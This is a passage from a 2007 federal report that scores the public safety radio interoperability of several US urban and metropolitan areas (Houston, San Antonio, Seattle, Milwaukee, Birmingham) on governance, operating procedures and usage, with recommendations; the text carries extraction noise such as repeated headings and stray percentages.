time frame for implementation could be the reason that the UA demonstrated some deficiencies in following the NIMS/ICS practices (e.g., the designation of a Communications Unit Leader did not occur until later in the exercise) during its exercise. Recommendations: • Standardize regional policies, practices, and procedures that can be agreed upon throughout the participating jurisdictions • Ensure regional SOPs for command and control are NIMS/ICS-compliant • Initiate basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Intermediate Implementation 10% 10%15% 15% While multi-agency communications within a jurisdiction occur daily on the UA’s shared systems, Dallas/Fort Worth officials reported that multijurisdictional/multicounty interoperability (i.e., when an agency leaves its home system) has been a challenge. As indicated in the After Action Report, there was a lack of local and regional designated interoperability talk groups during the TICP validation exercise (e.g., Arlington Police Department and Arlington Fire Department used different command channels since there was no talk groups designated for the use of unified command). In general, interoperable communications should be regularly exercised to better identify and address potential gaps, as were identified in the TICP validation exercise, which showed both technical and procedural issues with providing a coordinated response. Recommendations: • Ensure the correct interoperability channels are programmed into gateways and radio channel programming documentation is available (as recommended in the After Action Report as well) • Continue to regularly test and exercise the deployment of regional communications interoperability resources to improve proficiency in their application • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The large UA uses very high frequencies (VHF) with both analog and Project 25 (P25)-compliant radio systems, ultra high frequencies for the City of Dallas, and the 800 megahertz (MHz) band with both M/A-COM and Motorola 800 MHz trunked equipment being employed. There are also several 800 MHz conventional mutual aid channels. The Department of Justice has implemented a two-channel interoperability system consisting of two repeaters—one in Dallas and one in Fort Worth—which are VHF P25 compatible. In addition, many gateways and consoles are available for patching communications resources in the UA. Because of frequency limitations in the Dallas/Fort Worth UA, not many changes can be made to interoperable communications in the UA at this time. Eventually, the NCT COG would like to see the expansion of TICP to surrounding counties and smaller jurisdictions, specifically at schools and universities, hospitals, and secondary public safety answering points. The NCT COG hopes to create more mutual aid talk groups on the Fort Worth 800 MHz trunked system to be used with Tarrant and Denton counties and possibly to be implemented during the upcoming rebanding of the 800 MHz public safety spectrum. Urban/Metropolitan Area A-90 January 2007 Tactical Interoperable Communications Scorecards Houston, TX Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Established Implementation Usage: Established Implementation The Houston Urban Area (UA) includes the City of Houston and five surrounding counties: Harris, Montgomery, Fort Bend, Brazoria, and Galveston. Governance: Intermediate Implementation 10% 10%15% 15% The Houston Urban Area Working Group Executive Committee established the Regional Interoperable Communications Committee (RICC). The RICC has both technical and operations working groups and advises the Executive Committee on interoperable communications issues. Houston officials indicated that the RICC is formalized; however, decision-making authority in the governance structure is not clearly defined in the Tactical Interoperable Communications Plan (TICP). Houston officials note that agreements governing communications interoperability among agencies exist (e.g., memoranda of understanding, channel plans), but it appears that many of these partnerships are informal and not documented. Strategic planning is particularly critical for the Houston UA as the region upgrades its 800 megahertz (MHz) system and the City migrates its current system to a 700 MHz. The region indicates that monthly meetings are held to coordinate this migration and to develop a broader strategic plan. However, such a plan has not yet been published. In some cases, individual jurisdiction leadership has made interoperability a funding priority (as suggested by the City of Houston’s approval of the initial 25 percent of the cost of its new radio system). However, other jurisdictions appear to have been less successful in developing and pursuing long-term funding strategies beyond grant programs. This issue would be best addressed by developing a strategic plan that includes a longer term funding strategy to obtain diversified and sustainable funding for regionwide interoperable communications solutions. Recommendations: • Establish a formal charter to clarify roles and responsibilities for all local, state, and federal participants in the governance structure and expand the decision-making group’s role to focus on communications interoperability policy and operations • Document and formalize agreements (e.g., participate in statewide efforts in developing memoranda of understanding) among all participating agencies to support partnerships on regional interoperability • Dedicate an individual within the UAWG RICC to manage and update agreements in place • Align local and state strategic planning efforts by continuing the development and documentation of a strategic plan (beyond the operational focus of the TICP) for approval, acceptance, and adoption by all participating agencies to ensure that regionwide interoperability needs are met • Establish interagency communications as a requirement for new systems in the area through a regionwide strategic plan • Develop and implement a regional approach to long-term (e.g., 3 to 5 years) interoperability planning and sustainable funding beyond only allocating resources for individual systems • Champion a governance structure that would more fully support a regional strategic plan • Involve senior government leadership broadly across the UA in interoperability and encourage long-term (e.g., 3 to 5 years) regional funding plans 10% 10%15% 15% 15% 20% 20% 20% 15% 20% 20% 20% Urban/Metropolitan Area A-91 January 2007 Tactical Interoperable Communications Scorecards Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% The TICP provides the first formal regional communications SOPs for the Houston UA. Prior to the development of the TICP, the UA had informal SOPs among jurisdictions, but the documentation reviewed does not indicate whether the informal SOPs were specifically for regional interoperable communications. The UA has taken steps, including participation in the TICP Implementation Workshop, to distribute these newly established policies. In regards to command and control procedures, the Houston UA has implemented the National Incident Management System (NIMS)/Incident Command System (ICS) as the official incident response protocol through an executive order. Additionally, the UA has ensured that mandated training and certification is completed. Exercise evaluators indicated that the UA fully demonstrated the use of NIMS/ICS by properly implementing the communications unit and Communications Unit Leader position SOPs. Recommendations: • Document and distribute regional communications interoperability SOPs (beyond the TICP), and put them into practice through regular training (e.g., in-service refreshers and basic training courses), exercises, and daily usage • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% Multi-agency communications in the Houston UA is primarily provided through two major shared systems (Harris County 800 megahertz [MHz] and City of Houston ultra high frequency [UHF]). Because of the systems’ disparate bands, communications personnel regularly and proficiently use a permanent fixed gateway to link the systems. In carrying out the TICP validation exercise, the Houston UA showed effective command and line-level communications across multiple jurisdictions and disciplines. The UA listed numerous state and federal agencies in the TICP that were not present during the TICP validation exercise, the exclusion of which limited the demonstration of effective interoperability solutions among agencies at all levels of government. Including broader levels of government and public support disciplines would help ensure increased familiarity of interoperability resources across all response agencies. Recommendations: • Continue to include interoperability as a component for all future exercises and day-to-day activities • Consider including additional state and federal agencies (e.g., Customs and Border Protection, U.S. Secret Service) in future exercises and day-to-day use Below is a summary of the area's existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The UA identified two shared systems in the area, with the Harris County 800 MHz system supporting the most users. The City of Houston operates on a large, conventional, UHF system and routinely communicates with other agencies on different radio systems. Several mobile gateways and many channels can be connected via console patches, and radio caches are available in the area for interoperability. The Harris County 800 MHz system is beginning an upgrade to a Project 25 700/800 MHz integrated voice and data system. The current system is more than 16 years old and must be replaced. The City reviewed several options for the current UHF system and is presently in the preliminary planning stages for its migration to 700 MHz. Urban/Metropolitan Area A-92 January 2007 Tactical Interoperable Communications Scorecards San Antonio, TX Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Established Implementation Usage: Intermediate Implementation The San Antonio Urban Area (UA) includes the City of San Antonio, Bexar County, Comal County, and the cities and jurisdictions within those counties. Governance: Intermediate Implementation 10% 10%15% 15% The San Antonio Urban Area Working Group (SUAWG) was established in October 2005 and has a formalized communications subcommittee. The UA reports a mix of formal and informal partnerships among the public safety organizations in the area, including a regional mutual aid agreement that involves 71 agencies and the U.S. Department of the Army. The San Antonio UA is developing a strategic plan for interoperable communications; however, planning efforts that were initialized in 2004 have yet to yield a strategic plan acceptable to area first responders. The UA established a shared system before receiving Urban Area Security Initiative funds and has given some consideration to regional interoperability needs through Department of Homeland Security grant funding. The UA noted that agencies within the UA develop and maintain their own budget and procure communications interoperability equipment with consideration for regional interoperable communications. The documentation does not note, however, whether there is a regionwide plan to budget for interoperable communications. It would be beneficial for the UA to develop a longer term funding strategic plan to identify diversified and sustainable funding for recurring and lifecycle costs. San Antonio officials indicated that the field leaders in SUAWG have been directly involved in providing support for communications interoperability efforts; involvement of senior executive leadership in the UA is not evident from available documentation. Recommendations: • Consider distributing a formal charter to all participating agencies to clarify roles and responsibilities for all local, state, and federal participants in the governance structure • Establish processes to develop and review agreements (e.g., usage agreements, memoranda of understanding) at least every 3 to 5 years and after significant events or upgrades to ensure the agreements are up-to-date and consistent with current needs • Develop, document, and implement a regional strategic plan (beyond the operational focus of the Tactical Interoperable Communications Plan [TICP]) with participant approval, adoption, and acceptance that takes into account a long-term communications funding strategy (in addition to grants) • Align local and state strategic planning efforts to ensure that regional interoperability needs are met • Identify long-term (e.g., 3 to 5 years) sustainable funding for communications interoperability in addition to grants • Identify a champion(s) that would more fully support a regional strategic plan • Involve senior government leadership broadly across the UA on interoperability Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% The San Antonio UA incorporated existing communications interoperability policies, practices, and procedures into the TICP. The UA has taken some steps to distribute and provide training on the SOPs (e.g., distributed through the TICP Implementation Workshop, made applicable SOPs available with radio caches and gateways) to most of the public safety organizations in the area; however, the UA did not report directly providing the SOPs to participating TICP agencies and dispatch centers. Despite having pre-existing SOPs distributed and participating agencies trained on their use, participants experienced some procedural problems (e.g., missing radio cache battery chargers, patching problems, initial command identification confusion) during the TICP validation exercise. The San Antonio UA implemented the 10% 10%15% 15% 15% 20% 20% 20% 10% 10%15% 15% Urban/Metropolitan Area A-93 January 2007 Tactical Interoperable Communications Scorecards National Incident Management System (NIMS)/Incident Command System (ICS) within the last year. Although the UA’s NIMS/ICS implementation efforts are not yet well established, it is evident that considerable effort is being made to attain NIMS compliance. The State of Texas mandated further NIMS/ICS training in 2005, and most of the first responder community has already participated. Recommendations: • Ensure that the TICP is updated and aligned with regional communications interoperability SOPs (e.g., include a backup plan for gateway/console patch equipment, review operational talk groups that should be included as shared talk groups) • Develop and distribute regional communications interoperability SOPs (beyond the TICP) and put them into practice through regular training (e.g., in-service refreshers and basic training courses), exercises, and usage • Initiate basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Intermediate Implementation 10% 10%15% 15% The San Antonio UA demonstrated some ability to use available communications interoperability solutions. For example, the After Action Report indicated that the radio cache worked satisfactorily during the TICP validation exercise and was used for most participating agencies that did not otherwise have access to the 800 megahertz (MHz) radios that could communicate on the primary shared system. A remote incident command vehicle was also used effectively during the TICP validation exercise. Although the UA reported frequent use of shared channels, gateways, and shared systems, the TICP validation exercise highlighted some of the deficiencies in San Antonio UA’s first responders’ ability to adequately demonstrate the proper implementation of available interoperability solutions. Examples of these deficiencies include the inability of participants to effectively connect two systems through a shared channel, a console patch failure causing an interruption in communications, and radio cache maintenance and battery management issues. In addition, the UA used a console patch to connect two systems instead of using shared channels identified in the TICP. Recommendations: • Regularly test and exercise deployment of regional interoperability resources (e.g., shared channels, gateways) to improve proficiency in their use • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area's existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The San Antonio UA has two major 800 MHz M/A-COM Enhanced Digital Access Communications System trunked systems. The City of San Antonio and Bexar County share one system, and the counties of Bexar, Guadalupe, and Comal share the Live Oak Police Department system. Other local agencies use very high frequency systems, and many public works agencies use the Lower Colorado River Authority 900 MHz system, which covers many counties. Many interoperability gateways are available in the UA that can be used for interoperable communications. The SUAWG is working to develop improved communication methods and procedures to improve interoperable communications with the military. Currently, the military has at least two dissimilar communication systems that are not connected to local shared systems. Previous incidents requiring interoperable communications among military and non-military agencies have required use of cached radios and/or deployment of mobile gateways. Urban/Metropolitan Area A-94 January 2007 Tactical Interoperable Communications Scorecards Seattle, WA Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Established Implementation Usage: Established Implementation The Seattle Urban Area (UA) includes the City of Seattle, King County, portions of Pierce County serviced by the Tacoma Regional Network, and Snohomish County. Governance: Intermediate Implementation 10% 10%15% 15% Governance for regional communications in Seattle is overseen by the Tri-County Voice Communications Interoperability Oversight Committee. The committee appears to be operating well and is formalized, but it is not clear that authorities and responsibilities have been established (through a charter) or that the committee has direct multijurisdictional representation from users beyond system operators. Partnerships among agencies are provided through a mix of informal and formal agreements, and a strategic plan for regional interoperability (beyond the operational focus of the Tactical Interoperable Communications Plan [TICP]) has not been developed. Through an Urban Area Security Initiative grant, some regional consideration has been given to regionwide communications interoperability needs (e.g., procurement of a communications vehicle used in the area), as well as long-term planning for grant funding. While this planning for the use of grants is beneficial, it does not address the need to diversify sustainable funding sources to provide for recurring and lifecycle costs. Developing a strategic plan for interoperable communications will require strong leadership. From the available documentation, it is unclear to what extent local government leaders in the area are involved in supporting communications interoperability politically or fiscally. Recommendations: • Establish a formal charter to clarify roles and responsibilities for all local, state, and federal participants within the governance structure • Document and formalize agreements (e.g., memoranda of understanding) among all participating agencies to support partnerships on regional interoperability • Develop and document a regional strategic plan (beyond the operational focus of the TICP) with participant approval, adoption, and acceptance • Align local and state strategic planning efforts to ensure that regional interoperability needs are met • Develop, document, and implement a regional long-term interoperability plan with sustainable funding in addition to grants • Identify a champion(s) to establish a governance structure that more fully supports a regional strategic plan • Involve senior government leadership broadly across the area on interoperability Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% The Seattle UA has incorporated all previous regional SOPs (some dating back more than a decade) into the area’s TICP. Although most UA agencies assisted in TICP development and have indicated a high-level of commitment to the SOPs, it appears the recently established policies, practices, and procedures (established through TICP process) have not been disseminated to the necessary agencies. However, the UA was still 10% 10%15% 15% 15% 20% 20% 20% 15% 20% 20% 20% Urban/Metropolitan Area A-95 January 2007 Tactical Interoperable Communications Scorecards able to effectively use the SOPs during the TICP validation exercises. Participants experienced some minor deficiencies (e.g., Northgate did not observe the “priority” order identified in the TICP to request interoperable communications equipment). The Seattle UA implemented SOPs in compliance with the National Incident Management System (NIMS)/Incident Command System (ICS) more than 1 year ago, and indicated that 95 percent of personnel had participated in NIMS/ICS training. During the TICP validation exercise, proper adherence to effective command and control SOPs was successfully demonstrated by the Northgate communications unit while the Kilroy Towers communications unit experienced problems (e.g., resource request protocols, Communications Unit Leader integration). Recommendations: • Demonstrate the use of regional communications interoperability SOPs during future exercises (e.g., radio cache, shared channels) • Ensure that regional communications interoperability SOPs (beyond the TICP) are fully developed through a comprehensive interoperability plan beyond first responders (e.g., U.S. Coast Guard), and provide training on these SOPs • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% The Seattle UA regularly uses the four 800 megahertz (MHz) systems in the area for multi-agency and, to a lesser extent, multidiscipline communications. In addition, the UA uses shared channels and gateways on a daily basis. As noted by evaluators, all means of interoperability (e.g., radio caches, gateways, shared channels, shared systems) were successfully used and demonstrated in the area. For example, during the TICP validation exercise a Pierce County Sheriff arrived on scene and needed to communicate with the law branch, the staging manager recognized the need for a cached radio and identified a radio for the Sheriff. However, some minor problems were also encountered with the use of gateways and radio programming during the exercise (e.g., patch problems, participant instructed to tune to a channel not programmed on his radio). Recommendations: • Regularly test and exercise deployment of regional communications interoperability resources to improve proficiency (e.g., radio cache, shared channels) • Practice multijurisdictional and multidiscipline communications during future exercises and day-to-day activities Below is a summary of the area's existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The Seattle UA currently uses four Motorola 800 MHz SmartZone™ 4.1 systems for communications in King County, Snohomish County, Pierce County, and the Port of Seattle. Communications among these radio systems are established using the Tri-County Regional Interoperability System (TRIS) fixed gateway console patching network. The UA also uses two other systems. One is a statewide very high frequency conventional system used in conjunction with the Washington State Patrol. The other is an 800 MHz EF Johnson trunked system that connects them to the Washington Department of Transportation. Future plans include installation of infrastructure to support a repeated simulcast 800 MHz ICALL/ITAC system. The present capabilities will serve the Seattle UA for many years to come. Currently, the primary UA concern is 800 MHz rebanding and how that will take place. Urban/Metropolitan Area A-96 January 2007 Tactical Interoperable Communications Scorecards Milwaukee, WI Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Intermediate Implementation Usage: Established Implementation The Milwaukee Urban Area (UA) includes the City of Milwaukee, Milwaukee County, Washington County, and Waukesha County. Governance: Intermediate Implementation 10% 10%15% 15% The Milwaukee Urban Area Working Group includes local, state, and federal participants (e.g., public health, State Highway Patrol, and Wisconsin Army National Guard). Its Communications Subcommittee is ad hoc, but is codified in the Tactical Interoperable Communications Plan (TICP). From the information provided, it is unclear whether the subcommittee includes active state and federal agency participation, which would demonstrate a more advanced degree of governance maturity. A mix of formal and informal agreements exists within the area, and the UA is working to expand the formal partnerships (e.g., National Guard SOP is currently under review by the Milwaukee Police Department). The continued development of documented agreements would support the formalization of these partnerships to ensure clear roles and responsibilities relating to communications interoperability issues and decisions. The Milwaukee UA is beginning to develop a strategic plan for interoperable communications. Through federal and state grants, the organizations within the UA give consideration to regional interoperable communications while procuring equipment and developing budgets. However, there is no longer term plan for sustainable funding to meet interoperable communications goals. Although the local leadership is strong (demonstrated through apportioned funding requests), there are regional leadership differences (limited city and county cooperation) that affect political and fiscal support. Recommendations: • Expand Communications Subcommittee membership to formally include public support, state, and federal agencies (e.g., U.S. Coast Guard) and document roles and responsibilities as part of the group • Reference all applicable agreements (e.g., memoranda of understanding [MOU], intergovernmental agreements) in the TICP and store them in an accessible format • Document and formalize agreements (e.g., signed MOUs with defined roles and responsibilities) among all participating agencies to support partnerships on regional interoperability • Develop, document, and implement a regional strategic plan (beyond the operational focus of the TICP) with participant approval, adoption, and acceptance, that takes into account a long-term communications funding strategy (in addition to grants) • Consider outreach to expand participation in strategic planning process • Align local and state strategic planning efforts to ensure that regional interoperability needs are met • Initiate the development and implementation of a regional approach to long-term (e.g., 3 to 5 years) sustainable funding that is consistent with the strategic plan • Continue to broaden and champion a governance structure that will support regional communications interoperability and involve senior regional government leadership in long-term funding plans Standard Operating Procedures (SOP): Intermediate Implementation 10% 10%15% 15% The SOPs included in Milwaukee’s TICP represent the UA’s first regional consensus plan for interoperable communications. Although current regional communications interoperability SOPs are limited, the area plans to train on and has made an effort to disseminate them to the participating organizations. According to the TICP validation Exercise Evaluation Guide, exercise participants attempted to use both shared channels and fixed gateways, but no area- 10% 10%15% 15% 10% 10%15% 15% 15% 20% 20% 20% Urban/Metropolitan Area A-97 January 2007 Tactical Interoperable Communications Scorecards specific procedures are documented in the TICP for these interoperability solutions. The UA began implementing National Incident Management System (NIMS)/Incident Command System (ICS) less than 1 year ago, which implies that the UA is still in the earlier stages of implementing NIMS/ICS policies and procedures. Despite the short period of time during which NIMS/ICS procedures have been in place, the UA demonstrated process familiarity during the TICP validation exercise. During the course of the exercise, it was noted that participants would have used commercial cellular technology (i.e., “NEXTELs”) in lieu of shared channels in a real-life response if radio reception were poor; there are no SOPs in the TICP addressing the use of cellular commercial technology. Recommendations: • Continue to develop and distribute regional communications interoperability SOPs (beyond the TICP) and put them into practice through regular training, exercises, and usage (e.g., written SOPs needed for shared channels and gateways) • Document, distribute, and verify all points of contact for each agency communications center • Consider developing policy on use and limitations of commercial services (e.g., cellular telephones) • Consider scheduling a regular review and update process for policies and procedures • Initiate basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% The area frequently uses its available means of interoperable communications (i.e., radio cache, gateways, shared channels, and shared systems). Additionally, officials in the area report proficiency during real-world events (e.g., vehicle pursuit crossing city–county borders). During the TICP validation exercise, the participants were able to establish interoperable communications with minimal difficulty (e.g., poor reception on shared channels, do not have common talk groups for fire and police). However, because there were no state and federal participants in the exercise, the area did not fully demonstrate interoperable communications among local, state, and federal agencies in the area. Recommendations: • Regularly test and exercise the deployment of regional interoperability resources (e.g., Milwaukee law enforcement and fire do not have common talk groups) to improve proficiency • Consider including additional state and federal agencies (e.g., Federal Bureau of Investigation) in future exercises and day-to-day use • Consider adding interoperable communications as an evaluation component for all future exercises and day-to-day activities Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The UA’s mixture of very high frequency, ultra high frequency, and 800 megahertz (MHz) communications systems support most agencies in the area. Milwaukee and Waukesha County have individual, trunked, Motorola® SmartNetTM Type II, 800 MHz communications systems. The City of Greenfield has a Motorola, single site, trunked communications system. The City of Milwaukee currently uses a conventional system that supports both the Milwaukee Police and Fire Departments. The area’s main Public Safety Answering Points can make console patches among supported agencies’ channels and communication systems. Milwaukee County is building out a Project 25 communication system that could replace the old county system. The City of Milwaukee is installing a M/A-COM OpenSkyTM system to initially support the city’s mobile data needs and later support city agencies with mission-critical voice communications. Urban/Metropolitan Area B-1 January 2007 Tactical Interoperable Communications Scorecards APPENDIX B APPENDIX B APPENDIX B APPENDIX B: Metropolitan Area : Metropolitan Area : Metropolitan Area : Metropolitan Area Scorecards Scorecards Scorecards Scorecards The tables included in this appendix outline the results developed for Standard Operating Procedures (SOP), Usage, and Governance for the 22 metropolitan areas and 5 territories that developed and exercised TICPs. The results represent the summary assessment of each Continuum element taking into account critical “sub-elements” identified in the Interoperability Maturity Measurement Model developed as part of the SAFECOM National Baseline Assessment. The Baseline approach to defining the aspects of communications interoperability was leveraged to ensure consistency in the measurement models applied to various Department of Homeland Security (DHS) initiatives. In the case of SOPs, the sub-elements include: 1) policies, practices, and procedures and 2) command and control. Usage focuses on the frequency of use and familiarity with interoperability solutions. Governance focuses on five core sub-elements, including: 1) decision- making groups, 2) agreements, 3) strategic planning, 4) interoperability funding, and 5) leadership. Each score can be defined as early, intermediate, established, or advanced implementation of the given element. Below, general definitions for each score are provided. First responders regularly and seamlessly utilize interoperability solutions. The region demonstrated successful multi-agency communications during exercise(s), including state, federal and support organizations. First responders use interoperability solutions regularly and easily. The region demonstrated successful multi-agency (which may have included state, federal, and support organizations) communications during exercise(s). First responders use interoperability solutions regularly and demonstrated the ability to achieve multi- agency communications despite some challenges during exercise(s). Interoperable communications solutions are rarely used for multi- agency communication and difficulties were encountered in achieving interoperability during exercise(s). Usage Regional SOPs, reviewed through the TICP process, are in place and regularly used by included agencies. NIMS procedures are well established among all agencies and disciplines. All procedures were effectively utilized during exercise(s). Existing regional SOPs were reviewed and included in the TICP, and are in use by included agencies. NIMS- compliant command and control has been instituted by all agencies and disciplines in the region. Despite minor issues, all SOPs were successfully demonstrated during exercise(s). Some existing SOPs were incorporated in the TICP and steps have been taken to institute these interoperability procedures among included agencies. Formal NIMS/ICS procedures are in place, but understanding varies among agencies leading to some issues during the exercise(s). Region-wide SOPs were developed and formalized for the first time through the TICP, but have not been disseminated to all included agencies. Some elements of NIMS/ICS procedures for command and control are in place, but understanding varies among agencies and was an area of difficulty during exercise(s). Standard Operating Procedures (SOP) Decision making bodies proactively look to expand membership to ensure representation from broader public support disciplines and other levels of government, while updating their agreements and strategic plan on a regular basis. Formal agreements outline the roles and responsibilities of a decision making group, which has an agreed upon strategic plan that addresses sustainable funding for collective, regional interoperable communications needs. Some formal agreements exist and informal agreements are in practice among members of a decision making group; regional strategic and budget planning processes are beginning to be put in place. Decision making groups are informal, and do not yet have a strategic plan in place to guide collective communications interoperability goals and funding. Governance Advanced Implementation Established Implementation Intermediate Implementation Early Implementation Elements First responders regularly and seamlessly utilize interoperability solutions. The region demonstrated successful multi-agency communications during exercise(s), including state, federal and support organizations. First responders use interoperability solutions regularly and easily. The region demonstrated successful multi-agency (which may have included state, federal, and support organizations) communications during exercise(s). First responders use interoperability solutions regularly and demonstrated the ability to achieve multi- agency communications despite some challenges during exercise(s). Interoperable communications solutions are rarely used for multi- agency communication and difficulties were encountered in achieving interoperability during exercise(s). Usage Regional SOPs, reviewed through the TICP process, are in place and regularly used by included agencies. NIMS procedures are well established among all agencies and disciplines. All procedures were effectively utilized during exercise(s). Existing regional SOPs were reviewed and included in the TICP, and are in use by included agencies. NIMS- compliant command and control has been instituted by all agencies and disciplines in the region. Despite minor issues, all SOPs were successfully demonstrated during exercise(s). Some existing SOPs were incorporated in the TICP and steps have been taken to institute these interoperability procedures among included agencies. Formal NIMS/ICS procedures are in place, but understanding varies among agencies leading to some issues during the exercise(s). Region-wide SOPs were developed and formalized for the first time through the TICP, but have not been disseminated to all included agencies. Some elements of NIMS/ICS procedures for command and control are in place, but understanding varies among agencies and was an area of difficulty during exercise(s). Standard Operating Procedures (SOP) Decision making bodies proactively look to expand membership to ensure representation from broader public support disciplines and other levels of government, while updating their agreements and strategic plan on a regular basis. Formal agreements outline the roles and responsibilities of a decision making group, which has an agreed upon strategic plan that addresses sustainable funding for collective, regional interoperable communications needs. Some formal agreements exist and informal agreements are in practice among members of a decision making group; regional strategic and budget planning processes are beginning to be put in place. Decision making groups are informal, and do not yet have a strategic plan in place to guide collective communications interoperability goals and funding. Governance Advanced Implementation Established Implementation Intermediate Implementation Early Implementation Elements It should be noted that many of the metropolitan areas have progressed in developing interoperable communications capabilities past the point at which the information for the scorecards was collected. DHS recognizes the ongoing work in each area and appreciates the participation that areas had in providing feedback and comments to their scorecards. To the extent possible, comments were incorporated into the scorecards included in this appendix. 10%5% 5% 5% 10% 10%15% 15% 15% 20% 20% 20% Urban/Metropolitan Area B-2 January 2007 Tactical Interoperable Communications Scorecards Birmingham (Alabama) Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Established Implementation Usage: Advanced Implementation Alabama designated the City of Birmingham as its metropolitan area (area), which includes Calhoun, Clay, Cleburne, Etowah, Jefferson, St. Clair, and Talladega counties. Major cities located within this area include Birmingham, Anniston, Gadsden, Pell City and Talladega. Governance: Intermediate Implementation 10% 10%15% 15% Birmingham as a whole has developed a fairly robust governance structure for the support of its communications interoperability. There are multiple governing bodies listed as responsible for creating and implementing the Tactical Interoperable Communications Plan (TICP) (e.g., Tactical TICP Governance Group, Communications Work Group, and the Alabama Department of Homeland Security [ADHS] Region 7 Interoperability Team [R7IT]). This many governance bodies can cause confusion, especially in cases like Birmingham in which the roles and responsibilities among them are undefined. It also appears the governance groups require further regional cooperation to ensure locally driven decision-making (e.g., the ADHS seems to have ultimate decision-making authority, although review power and implementation responsibility fall to the local R7IT) and complete participation from agencies in the area (e.g., Jefferson County’s limited participation in the regional TICP). The area has recently developed formal agreements supporting a mix of formal and informal partnerships among the area’s public safety organizations. These agreements mark a positive step in moving towards regional cooperation. Although agencies in the area set budget priorities with communications interoperability goals, the area relies mainly on federal grant monies with support from local resources. The area reports developing a strategic plan, which may be an amalgamation of the two disparate plans resulting from the combination of the original two TICPs submitted for the area. According to the TICP Peer Review, Jefferson County initially wrote its own plan, separate from the Region 7 plan. The area receives funding from both federal grants and local resources, and appears to budget with consideration for regional interoperability goals. Alabama’s leadership has demonstrated political and fiscal support for public safety interoperability by obtaining federal grant funds, without any designated Urban Area Security Initiative sites in the state, but the level of participation and support from local leaders as champions for achieving communications interoperability across the area is unclear. Recommendations: • Clarify the decision-making authority and implementation responsibilities of the governing bodies (e.g., R7IT, Region 7 Homeland Security Task Force, Communications Work Group) through a formalized charter and ensure local first responder participation in groups with decision-making authority • Implement newly developed regional interoperability agreements (e.g., memoranda of understanding), involve all participant agencies, and review these agreements at least every 3 to 5 years and after significant events or upgrades to ensure they address current needs • Consider distributing a unified regional strategic plan (beyond the operational TICP), including Jefferson County, with participant approval, adoption, and acceptance that takes into account a long-term communications funding strategy (beyond grants) • Align local and statewide strategic planning efforts to ensure that regional interoperability needs are met • Consider the direct involvement of an executive-level local official(s), with political and fiscal authority to specifically focus on interoperable communications 15% 20% 20% 20% 10% 10%15% 15% Urban/Metropolitan Area B-3 January 2007 Tactical Interoperable Communications Scorecards Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% Birmingham was successful in incorporating and updating existing policies and procedures (developed in late 1990s) into the submitted TICP. The TICP is very detailed for each county in the area. However, it appears that the area is developing multiple TICPs (one for each county), rather than a consolidated regional plan. It is feasible that having such distinct county-specific plans could complicate rather than simplify attempts to achieve interoperable communications across the area. The area has plans in place to disseminate the various county procedures throughout the area once completed. The area also reports broad adoption of the National Incident Management System (NIMS)/Incident Command System (ICS). The real-world exercise used to test the TICP identified some procedural gaps in command and control (e.g., inconsistent updating of ICS 205 forms, use of 10-codes rather than plain language), which leads to the conclusion that full adoption of the SOPs is still developing. Recommendations: • Once completed, distribute unified regional interoperability SOPs (beyond those compiled in the TICP), and put them into practice with all first responders (e.g., emergency medical services [EMS]) through regular training (e.g., in-service refreshers and basic training courses), exercises, and usage • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) and to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Advanced Implementation Birmingham reports daily use of its available means of interoperable communications (e.g., gateways, shared channels, and shared systems) and was effective in establishing interoperable communications during its exercise. Because the TICP validation exercise was held in conjunction with a real-world event, there were artificial constraints placed on the exercise that did not allow robust testing of participants’ familiarity with interoperable communications equipment. Participants across all disciplines and levels of government were involved in the exercise (e.g., Federal Bureau of Investigation, Sheriffs, EMS, and Fire) and were able to establish interoperable communications with available interoperability equipment and solutions. Recommendation: • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area's existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The Birmingham area has five shared radio systems supporting public safety operations. Systems operating in the area include one 800 megahertz (MHz) M/A-COM, Enhanced Digital Access Communications System, three 800 MHz Motorola SmartZone™ systems, and one ultra high frequency statewide repeater system. Both Birmingham and Jefferson County use 800 MHz Motorola SmartZone systems. In addition, the area routinely relies on the SouthernLINC commercial wireless system to provide law enforcement and public safety officials with voice and data wireless communications. Regional interoperability is achieved through the use of shared systems, shared channels, gateways, and cached radios. The Interoperable Communications Technical Assistance Program is not active in the Birmingham area, and information regarding their current and future communications initiatives is currently unknown. Urban/Metropolitan Area B-4 January 2007 Tactical Interoperable Communications Scorecards Anchorage (Alaska) Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Established Implementation Standard Operating Procedures: Established Implementation Usage: 